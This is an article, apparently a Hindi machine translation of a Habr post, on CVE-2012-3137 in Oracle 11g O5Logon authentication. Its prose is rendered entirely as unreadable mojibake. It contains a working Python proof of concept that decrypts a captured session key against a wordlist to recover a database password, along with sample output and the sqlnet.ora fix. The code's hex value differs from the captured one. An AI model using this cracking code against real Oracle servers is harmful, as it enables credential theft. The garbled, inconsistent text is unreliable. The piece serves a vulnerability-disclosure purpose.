Oracle 11g рдСрдереЗрдВрдЯрд┐рдХреЗрд╢рди рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдореЗрдВ рднреЗрджреНрдпрддрд╛

рдмрд╣реБрдд рд╕рдордп рдкрд╣рд▓реЗ рдРрд╕рд╛ рдирд╣реАрдВ рдерд╛ рдХрд┐ рдУрд░реЗрдХрд▓ рдбреЗрдЯрд╛рдмреЗрд╕ рдХреЗ 11.1 рдФрд░ 11.2 рдореЗрдВ рдЗрд╕реНрддреЗрдорд╛рд▓ рдХрд┐рдП рдЧрдП O5Logon рдСрдереЗрдВрдЯрд┐рдХреЗрд╢рди рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдореЗрдВ рдПрдХ рдирдИ рднреЗрджреНрдпрддрд╛ (рдЬрд┐рд╕реЗ рдирдВрдмрд░ CVE-2012-3137 рдорд┐рд▓рд╛ рдерд╛ ) рдХреЗ рдмрд╛рд░реЗ рдореЗрдВред рднреЗрджреНрдпрддрд╛ рджреВрд░рд╕реНрде рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ рд╕рд░реНрд╡рд░ рд╕реЗ рдкреНрд░рд╛рдкреНрдд рдПрдиреНрдХреНрд░рд┐рдкреНрдЯреЗрдб рд╕рддреНрд░ рдкрд╣рдЪрд╛рдирдХрд░реНрддрд╛ рдкрд░ рдПрдХ рдХреНрд░реВрд░ рд╣рдорд▓реЗ рдХреА рд╢реБрд░реВрдЖрдд рдХрд░рдХреЗ рдПрдХ рдПрдХреНрд╕реЗрд╕ рдкрд╛рд╕рд╡рд░реНрдб рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИред рдпрд╣ рд╕реБрд╡рд┐рдзрд╛ рдбреЗрдЯрд╛рдмреЗрд╕ рд╕рд░реНрд╡рд░ рдкрд░ рдЕрддрд┐рд░рд┐рдХреНрдд рдиреЗрдЯрд╡рд░реНрдХ рдЕрдиреБрд░реЛрдз рднреЗрдЬреЗ рдмрд┐рдирд╛ рд╕реНрдерд╛рдиреАрдп рд░реВрдк рд╕реЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдкрд╛рд╕рд╡рд░реНрдб рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдирд╛ рд╕рдВрднрд╡ рдмрдирд╛рддреА рд╣реИред

O5Logon рдСрдкрд░реЗрд╢рдирд▓ рдЕрд╡рд▓реЛрдХрди

рд╕рд░реНрд╡рд░ рдХреЗ рд╕рд╛рде рд╕рд╣рднрд╛рдЧрд┐рддрд╛ рдирд┐рдореНрдирд╛рдиреБрд╕рд╛рд░ рд╣реЛрддреА рд╣реИ:
  1. рдХреНрд▓рд╛рдЗрдВрдЯ рд╕рд░реНрд╡рд░ рд╕реЗ рдХрдиреЗрдХреНрдЯ рд╣реЛрддрд╛ рд╣реИ рдФрд░ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирд╛рдо рднреЗрдЬрддрд╛ рд╣реИ
  2. рд╕рд░реНрд╡рд░ рдПрдХ рд╕рддреНрд░ рдкрд╣рдЪрд╛рдирдХрд░реНрддрд╛ рдЙрддреНрдкрдиреНрди рдХрд░рддрд╛ рд╣реИ рдФрд░ рдПрдИрдПрд╕ -192 рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЗрд╕реЗ рдПрдиреНрдХреНрд░рд┐рдкреНрдЯ рдХрд░рддрд╛ рд╣реИред рдХреБрдВрдЬреА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдкрд╛рд╕рд╡рд░реНрдб рдХрд╛ SHA1 рд╣реИрд╢ рдФрд░ рдЗрд╕рдореЗрдВ рдЬреЛрдбрд╝рд╛ рдЧрдпрд╛ рдирдордХ рд╣реИ
  3. рд╕рд░реНрд╡рд░ рдЧреНрд░рд╛рд╣рдХ рдХреЛ рдПрдиреНрдХреНрд░рд┐рдкреНрдЯреЗрдб рд╕рддреНрд░ рдкрд╣рдЪрд╛рдирдХрд░реНрддрд╛ рдФрд░ рдирдордХ рднреЗрдЬрддрд╛ рд╣реИ
  4. рдЧреНрд░рд╛рд╣рдХ рдЕрдкрдиреЗ рдкрд╛рд╕рд╡рд░реНрдб рдФрд░ рдкреНрд░рд╛рдкреНрдд рдирдордХ рд╕реЗ рд╣реИрд╢ рдкреНрд░рд╛рдкреНрдд рдХрд░рдХреЗ рдПрдХ рдХреБрдВрдЬреА рдмрдирд╛рддрд╛ рд╣реИред рдЗрд╕ рдХреБрдВрдЬреА рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдП, рдХреНрд▓рд╛рдЗрдВрдЯ рд╕рд░реНрд╡рд░ рд╕реЗ рдкреНрд░рд╛рдкреНрдд рд╕рддреНрд░ рдбреЗрдЯрд╛ рдХреЛ рдбрд┐рдХреНрд░рд┐рдкреНрдЯ рдХрд░рддрд╛ рд╣реИред
  5. рдбрд┐рдХреНрд░рд┐рдкреНрдЯреЗрдб рд╕рд░реНрд╡рд░ рд╕рддреНрд░ рдкрд╣рдЪрд╛рдирдХрд░реНрддрд╛ рдХреЗ рдЖрдзрд╛рд░ рдкрд░, рдЧреНрд░рд╛рд╣рдХ рдПрдХ рдирдИ рд╕рд╛рдЭрд╛ рдХреБрдВрдЬреА рдмрдирд╛рддрд╛ рд╣реИ, рдЬрд┐рд╕реЗ рдмрд╛рдж рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛


рдореБрдЦреНрдп рдмреНрдпрд╛рдЬ 1-3 рдЪрд░рдг рд╣реИрдВ, рдЬрд┐рдиреНрд╣реЗрдВ рдирд┐рдореНрдирд╛рдиреБрд╕рд╛рд░ рджрд░реНрд╢рд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ:

рдХрдиреЗрдХреНрд╢рди рдХреА рд╢реБрд░реБрдЖрдд рд╕реЗ рд╣реА рд╕рд░реНрд╡рд░ рдкрд╛рд╕рд╡рд░реНрдб рдЪрдпрди рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ рд╕рднреА рд╕реВрдЪрдирд╛рдУрдВ рдХреЛ рдкреНрд░рд╕рд╛рд░рд┐рдд рдХрд░рддрд╛ рд╣реИред рд╕рддреНрд░ рдЖрдИрдбреА рдХреА рдкреНрд░рдореБрдЦ рд╡рд┐рд╢реЗрд╖рддрд╛ рдПрдХ рд╣рдорд▓реЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИ: рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ рд╕рддреНрд░ рдкрд╣рдЪрд╛рдирдХрд░реНрддрд╛ рдХреЗ рдЕрдВрддрд┐рдо 8 рдмрд╛рдЗрдЯреНрд╕ рдореЗрдВ рд╣рдореЗрд╢рд╛ рдЖрда рд╢рд╛рдорд┐рд▓ рд╣реЛрддреЗ рд╣реИрдВред рдпрд╣ рдЬрд╛рдирдХрд╛рд░реА рд╕рд╣реА рдбрд┐рдХреНрд░рд┐рдкреНрд╢рди рдирд┐рд░реНрдзрд╛рд░рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдкрд░реНрдпрд╛рдкреНрдд рд╣реИред

рдЗрд╕ рд╕рдорд╕реНрдпрд╛ рдХреА рдПрдХ рдФрд░ рд╡рд┐рд╢реЗрд╖рддрд╛ рдпрд╣ рд╣реИ рдХрд┐ рддреАрд╕рд░реЗ рдЪрд░рдг рдХреЗ рдмрд╛рдж рдХрдиреЗрдХреНрд╢рди рдХреЛ рддреЛрдбрд╝рдирд╛, рдХрдиреЗрдХреНрд╢рди рдХреЗ рдкреНрд░рдпрд╛рд╕ рдХрд╛ рддрдереНрдп рд▓реЙрдЧ рдореЗрдВ рдкреНрд░рджрд░реНрд╢рд┐рдд рдирд╣реАрдВ рд╣реЛрдЧрд╛, рдЕрд░реНрдерд╛рддред рд╣рдорд▓реЗ рдХреЛ рдкреВрд░реА рддрд░рд╣ рд╕реЗ рдЕрдирд╕реБрдирд╛ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред

рд╡реНрдпрд╛рд╡рд╣рд╛рд░рд┐рдХ рдкрд╣рд▓реВ

рднреЗрджреНрдпрддрд╛ рдХрд╛ рдкрд░реАрдХреНрд╖рдг рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдУрд░реЗрдХрд▓ рджреНрд╡рд╛рд░рд╛ рдЗрд╕реНрддреЗрдорд╛рд▓ рдХреА рдЬрд╛рдиреЗ рд╡рд╛рд▓реА рдЖрднрд╛рд╕реА рдорд╢реАрди рдХрд╛ рдПрдХ рд╕реНрд╡рддрдВрддреНрд░ рд░реВрдк рд╕реЗ рд╡рд┐рддрд░рд┐рдд рдбрдВрдк рдкреНрд░рд╢рд┐рдХреНрд╖рдг рдбреЗрд╡рд▓рдкрд░реНрд╕ рдХреЗ рд▓рд┐рдП рдФрд░ рдкреВрд░реНрд╡-рд╕реНрдерд╛рдкрд┐рдд рдбреЗрдЯрд╛рдмреЗрд╕ рд╕рдВрд╕реНрдХрд░рдг рдпреБрдХреНрдд 11.2.0 рд╕реНрдерд╛рдкрд┐рдд рд╣реИред

рд╕реНрдерд╛рдкрдирд╛ рдХреЗ рдмрд╛рдж, рдЖрдк рдорд╛рдирдХ рдкреЛрд░реНрдЯ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдбреЗрдЯрд╛рдмреЗрд╕ рд╕реЗ рдХрдиреЗрдХреНрдЯ рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдкрд╛рдпрдерди рдФрд░ cx_Offcle рд▓рд╛рдЗрдмреНрд░реЗрд░реАред рдкрд░реАрдХреНрд╖рдг рдХреЗ рд░реВрдк рдореЗрдВ, рдЕрдВрддрд░реНрдирд┐рд╣рд┐рдд рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдкреНрд░рдгрд╛рд▓реА рдХреЗ рд▓рд┐рдП рдЪрдпрди рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ред рдпрд╣ рдЖрдЧреЗ рдХреЗ рд╣рдорд▓реЗ рдХреЗ рд▓рд┐рдП рд╕рднреА рдЖрд╡рд╢реНрдпрдХ рдбреЗрдЯрд╛ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХреЗрд╡рд▓ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирд╛рдо рдЬрд╛рдирдиреЗ рдХреЗ рд▓рд┐рдП рдкрд░реНрдпрд╛рдкреНрдд рд╣реИ:

>>> import cx_Oracle >>> con = cx_Oracle.connect('system/wrongpassword@192.168.56.104/orcl') Traceback (most recent call last): File "<stdin>", line 1, in <module> cx_Oracle.DatabaseError: ORA-01017: invalid username/password; logon denied 


рдЗрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ рдПрдиреНрдХреНрд░рд┐рдкреНрдЯреЗрдб рд╕рддреНрд░ рдЖрдИрдбреА рдФрд░ рдирдордХ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, Wireshark рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХрд╛ рд╕рдмрд╕реЗ рдЖрд╕рд╛рди рддрд░реАрдХрд╛ рдерд╛:


рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдореВрд▓реНрдп рдпрд╣рд╛рдВ рдЙрдкрдпреЛрдЧреА рд╣реЛрдВрдЧреЗ:

рд╕рддреНрд░ рдЖрдИрдбреА (AUTH_SESSKEY) : EA2043CB8B46E3864311C68BDC161F8CA170363C1E6F57F3EBC6435F541A841B8DB16DAB16EAAB5422553A759814143E78767673

рдирдордХ (AUTH_VFR_DATA) : A7193E546377EC56639E

рдЕрд╡рдзрд╛рд░рдгрд╛ рдХрд╛ рдкреНрд░рдорд╛рдг

рдкрд╛рд╕рд╡рд░реНрдб рдХреЗ рд╕рддреНрд░ рдФрд░ рдкрд╛рд╢рд╡рд┐рдХ рдмрд▓ рдХреЛ рдбрд┐рдХреНрд░рд┐рдкреНрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдШреБрдЯрдиреЗ рдкрд░ рдирд┐рдореНрди рдХреЛрдб рд▓рд┐рдЦрд╛ рдЧрдпрд╛ рдерд╛:
 #-*-coding:utf8 -*- import hashlib from Crypto.Cipher import AES def decrypt(session,salt,password): pass_hash = hashlib.sha1(password+salt) #     24  key = pass_hash.digest() + '\x00\x00\x00\x00' decryptor = AES.new(key,AES.MODE_CBC) plain = decryptor.decrypt(session) return plain #   48  session_hex = 'EA2043CB8B46E3864311C68BDC161F8CA170363C1E6F57F3EBC6435F541A8239B6DBA16EAAB5422553A7598143E78767' # 10  salt_hex = 'A7193E546377EC56639E' passwords = ['test','password','oracle','demo'] for password in passwords: session_id = decrypt(session_hex.decode('hex'),salt_hex.decode('hex'),password) print 'Decrypted session_id for password "%s" is %s' % (password,session_id.encode('hex')) if session_id[40:] == '\x08\x08\x08\x08\x08\x08\x08\x08': print 'PASSWORD IS "%s"' % password break 


рдХрд╛рд░реНрдпрдХреНрд░рдо рд╢реБрд░реВ рдХрд░рддреЗ рд╕рдордп рд╣рдореЗрдВ рдорд┐рд▓рддрд╛ рд╣реИ:
 Decrypted session_id for password "test" is 26998331454aeb10fbf10ae8a3deac8e9e0531378089a3acaa9294f3256227bc00feae272db6c1eafb105d6baa953274 Decrypted session_id for password "password" is 8a62f6dcca35f6886ea5b0cbd24791cfd0a3390eb29c64a4d58bfe1c19e27df0de315772ea84e28ddd9a126dfdec134d Decrypted session_id for password "oracle" is 58b6e23a31ee7136d4893a01d48cd17e841fc3e90545711668a69d9c28b5c5d8819a4f7a961334320808080808080808 PASSWORD IS "oracle" [Finished in 0.1s] 

рдкрд╛рд╕рд╡рд░реНрдб рд╕рдлрд▓рддрд╛рдкреВрд░реНрд╡рдХ рдЪреБрдирд╛ рдЧрдпрд╛ рд╣реИред

рдирд┐рд╖реНрдХрд░реНрд╖

Oracle рдиреЗ рдЗрд╕ рд╕рдорд╕реНрдпрд╛ рдХреЛ 11.2.0.3 рд╕рдВрд╕реНрдХрд░рдг рдореЗрдВ рд╣рд▓ рдХрд┐рдпрд╛, рдЬрд┐рд╕рд╕реЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ рдирдП рдкреНрд░рдорд╛рдгреАрдХрд░рдг рддрдВрддреНрд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рдорд┐рд▓реА, рдЬреЛ рдХреНрд▓рд╛рдЗрдВрдЯ рдФрд░ рд╕рд░реНрд╡рд░ рднрд╛рдЧреЛрдВ рдХреЗ рд▓рд┐рдП sqlnet.ora рдлрд╝рд╛рдЗрд▓реЛрдВ рдореЗрдВ рд╕реНрдкрд╖реНрдЯ рд░реВрдк рд╕реЗ рд░рдЬрд┐рд╕реНрдЯрд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ рд╣реИ:

SQLNET.ALLOWED_LOGON_VERSION=12

рд▓реЗрдХрд┐рди рдореИрдВ рдХрд╣ рд╕рдХрддрд╛ рд╣реВрдВ рдХрд┐ рдпрд╣ рд╕рдорд╛рдзрд╛рди рдЕрдзрд┐рдХрд╛рдВрд╢ рдХрд╛рдордХрд╛рдЬреА рдкреНрд░рдгрд╛рд▓рд┐рдпреЛрдВ рдХреЗ рд▓рд┐рдП рд╕реНрд╡реАрдХрд╛рд░реНрдп рд╣реИ, рдХреНрдпреЛрдВрдХрд┐ рд╕рд░реНрд╡рд░ рд╕рд╛рдЗрдб рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдХреНрд▓рд╛рдЗрдВрдЯреНрд╕ рдХреЛ рдлрд┐рд░ рд╕реЗ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд░рдирд╛ рдЖрд╡рд╢реНрдпрдХ рд╣реИред рд╣рдореЗрд╢рд╛ рдХреА рддрд░рд╣ рдРрд╕реЗ рдорд╛рдорд▓реЛрдВ рдореЗрдВ, рдордЬрдмреВрдд рдкрд╛рд╕рд╡рд░реНрдб рдХрд╛ рдЙрдкрдпреЛрдЧ рдФрд░ рдиреЗрдЯрд╡рд░реНрдХ рдПрдХреНрд╕реЗрд╕ рдХреЗ рд╕реНрддрд░ рдкрд░ рд╕реНрдкрд╖реНрдЯ рдкреНрд░рддрд┐рдмрдВрдз рдХреЛ рдЙрдЪрд┐рдд рд╕рд┐рдлрд╛рд░рд┐рд╢реЗрдВ рдорд╛рдирд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред

Source: https://habr.com/ru/post/In154597/


All Articles